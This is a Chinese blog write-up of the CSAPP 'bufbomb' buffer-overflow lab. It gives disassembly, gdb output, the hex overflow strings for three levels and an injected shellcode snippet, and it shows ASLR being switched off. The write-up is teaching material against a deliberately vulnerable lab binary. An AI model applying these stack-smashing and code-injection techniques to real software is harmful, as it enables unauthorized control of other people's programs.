CSAPP 缓冲区溢出攻击实验

原创

Bubble_Mask 于 2018-07-10 01:24:56 发布 1525 收藏 13

本文链接：https://blog.csdn.net/Bubble_Mask/article/details/80979425

实验内容

本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。实验仅提供一个二进制可执行文件bufbomb和部分函数的C代码，不提供每个关卡的源代码。程序运行中有3个关卡，每个关卡需要用户输入正确的缓冲区内容

要求通过查看各关卡的要求，运用GDB调试工具和objdump反汇编工具，通过分析汇编代码和相应的栈帧结构，通过缓冲区溢出办法在执行了getbuf()函数返回时攻击，使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数，第二关不仅返回到指定函数还需要为该指定函数准备好参数，最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改

实验过程

本次实验用到的可执行文件是32位，而实验环境是64位的，需要先安装一个32位的库和安装sendmail

```
root@[redacted]:[redacted]/buflab-handout# apt install lib32ncurses5 lib32z1
```

```
root@[redacted]/buflab-handout# apt install sendmail
```

第一关

先找第一关的位置

```
文件(F)  编辑(E)  查看(V)  搜索(S)  终端(T)  帮助(H)
80494c2:       81 c3 1f 0c 00 00       add    $0xc1f,%ebx
80494c8:       50                      push   %eax
80494c9:       e8 42 f4 ff ff          call   8048910 <__do_global_dtors_aux>
80494ce:       59                      pop    %ecx
80494cf:       5b                      pop    %ebx
80494d0:       c9                      leave
80494d1:       c3                      ret
[redacted]@localhost buflab-handout]$ objdump -d bufbomb | grep -A15 "<getbuf
>"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
```

栈指针esp先传给了ebp，然后esp-0x28的作用是分配地址空间，esp-0x18是输入的字符串的起始地址。若要改变返回地址，则需要使输入的字符串足够长，填充栈直到返回地址所在的空间之前，然后再加上smoke函数的地址即可。根据上面的代码可知，需要填充（24+4）个字节。

```
[                    @localhost buflab-handout]$ objdump -t bufbomb | grep -e smoke
08048eb0 g     F .text  0000002a              smoke
[                    @localhost buflab-handout]$ objdump -t bufbomb | grep -e getbuf
08048ad0 g     F .text  00000018              getbuf
```


Smoke的地址在08048eb0。那么本关的答案为000102030405060708091011121314151617181920212223242526 27b08e0408

因为需要用小端法表示，所以最后几个字节倒序排序。

用vi创建一个以以上字符串为内容的exploit.txt文件，用sendstring输入到bufbomb里

```
[                    @localhost buflab-handout]$ cat exploit.txt | ./sendstr
ing | ./bufbomb -t
Team:
Cookie: 0x157ad419
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server
[                    @localhost buflab-handout]$
```


依照实验要求，红色的地方是我的大名，回车后出现在team后面

第二关

```
[                    @localhost buflab-handout]$ objdump -d bufbomb | grep -A15 "<fizz
>"
08048e60 <fizz>:
 8048e60:       55                      push   %ebp
 8048e61:       89 e5                   mov    %esp,%ebp
 8048e63:       83 ec 08                sub    $0x8,%esp
 8048e66:       8b 45 08                mov    0x8(%ebp),%eax
 8048e69:       3b 05 d4 a1 04 08       cmp    0x804a1d4,%eax
 8048e6f:       74 1f                   je     8048e90 <fizz+0x30>
 8048e71:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e75:       c7 04 24 8c 98 04 08    movl   $0x804988c,(%esp)
 8048e7c:       e8 27 f9 ff ff          call   80487a8 <printf@plt>
 8048e81:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e88:       e8 5b f9 ff ff          call   80487e8 <exit@plt>
 8048e8d:       8d 76 00                lea    0x0(%esi),%esi
 8048e90:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e94:       c7 04 24 d9 95 04 08    movl   $0x80495d9,(%esp)
 8048e9b:       e8 08 f9 ff ff          call   80487a8 <printf@plt>
[                    @localhost buflab-handout]$
```


esp+0x8存的应该是fizz的传入参数

```
(gdb) p (char *) 0x804a1d4
$2 = 0x804a1d4 <cookie> ""
(gdb)
```


0x804a1d4存放的是cookie

```
[                    @localhost buflab-handout]$ makecookie
bash: makecookie: 未找到命令...
[                    @localhost buflab-handout]$ ./makecookie
0x157ad419
```


日常搞错命令 为啥makecookie前要加/，不是很懂，总之就这么记住吧

结合getbuf()的代码结构，这次的答案组成应该是用于填充的字符串(28字节)+fizz的地址(4字节)+填充的字符串(4字节)+我的cookie(4字节)，总共40个字节

000102030405060708091011121314151617181920212223242526 608e0408 01020304 19d47a15

```
[redacted]@localhost buflab-handout]$ vi exploit2.txt
[redacted]@localhost buflab-handout]$ cat exploit2.txt | ./sendstring | ./b
ufbomb -t [redacted]
Team: [redacted]
Cookie: 0x157ad419
Type string:Fizz!: You called fizz(0x157ad419)
NICE JOB!
Sent validation information to grading server
[redacted]@localhost buflab-handout]$
```


第三关

这一关开始需要先把名为“栈地址的随机化”的机制关掉，不然实验走不了

```
# sysctl -w kernel.randomize_va_space=0
```

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址，stack和vdso页面随机化。

2 - 表示在1的基础上增加栈（heap）的随机化。


```
[redacted]@localhost buflab-handout]$ objdump -d bufbomb | grep -A25 "<bang
>"
08048e10 <bang>:
 8048e10:       55                      push   %ebp
 8048e11:       89 e5                   mov    %esp,%ebp
 8048e13:       83 ec 08                sub    $0x8,%esp
 8048e16:       a1 c4 a1 04 08          mov    0x804a1c4,%eax
 8048e1b:       3b 05 d4 a1 04 08       cmp    0x804a1d4,%eax
 8048e21:       74 1d                   je     8048e40 <bang+0x30>
 8048e23:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e27:       c7 04 24 bb 95 04 08    movl   $0x80495bb,(%esp)
 8048e2e:       e8 75 f9 ff ff          call   80487a8 <printf@plt>
 8048e33:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e3a:       e8 a9 f9 ff ff          call   80487e8 <exit@plt>
 8048e3f:       90                      nop
 8048e40:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e44:       c7 04 24 64 98 04 08    movl   $0x8049864,(%esp)
 8048e4b:       e8 58 f9 ff ff          call   80487a8 <printf@plt>
 8048e50:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048e57:       e8 94 fc ff ff          call   8048af0 <validate>
 8048e5c:       eb d5                   jmp    8048e33 <bang+0x23>
 8048e5e:       89 f6                   mov    %esi,%esi
```



```
(gdb) p (char *) 0x804a1c4
$1 = 0x804a1c4 <global_value> ""
(gdb) p (char *) 0x804a1d4
$2 = 0x804a1d4 <cookie> ""
(gdb)
```


804a1c4存的是global_value，若其与cookie值相同则会跳转到8048e40

若要修改这个全局，则需要往栈中插入一段代码

```
0000000000000000 <.text>:
   0:   b8 19 d4 7a 15          mov    $0x157ad419,%eax
   5:   89 04 25 c4 a1 04 08    mov    %eax,0x804a1c4
   c:   68 10 8e 04 08          pushq  $0x8048e10
  11:   c3                      retq
```



```
[redacted]@localhost buflab-handout]$ vi ExploitCode.s
[redacted]@localhost buflab-handout]$ gcc -c ExploitCode.s
[redacted]@localhost buflab-handout]$ objdump -d ExploitCode.o > Exp
loitCode.txt
[redacted]@localhost buflab-handout]$ vi ExploitCode.txt
```



```
0000000000000000 <.text>:
   0:   b8 19 d4 7a 15          mov    $0x157ad419,%eax
   5:   89 04 25 c4 a1 04 08    mov    %eax,0x804a1c4
   c:   68 10 8e 04 08          pushq  $0x8048e10
  11:   c3                      retq
```


还需要知道输入进去的字符串的首地址

```
Team: [redacted]
Cookie: 0x157ad419

Breakpoint 1, 0x08048ad9 in getbuf ()
(gdb) p /x ($ebp-0x18)
$1 = 0xffffb830
(gdb)
```


所以字符串应该是这样：

b819d47a15890425c4a1040868108e0408c3010203040506070809103 0b8ffff

```
[redacted]@localhost buflab-handout]$ vi e3.txt
[redacted]@localhost buflab-handout]$ cat e3.txt | ./sendstring | .
/bufbomb -t [redacted]
Team: [redacted]
Cookie: 0x157ad419
Type string:Bang!: You set global_value to 0x157ad419
NICE JOB!
Sent validation information to grading server
```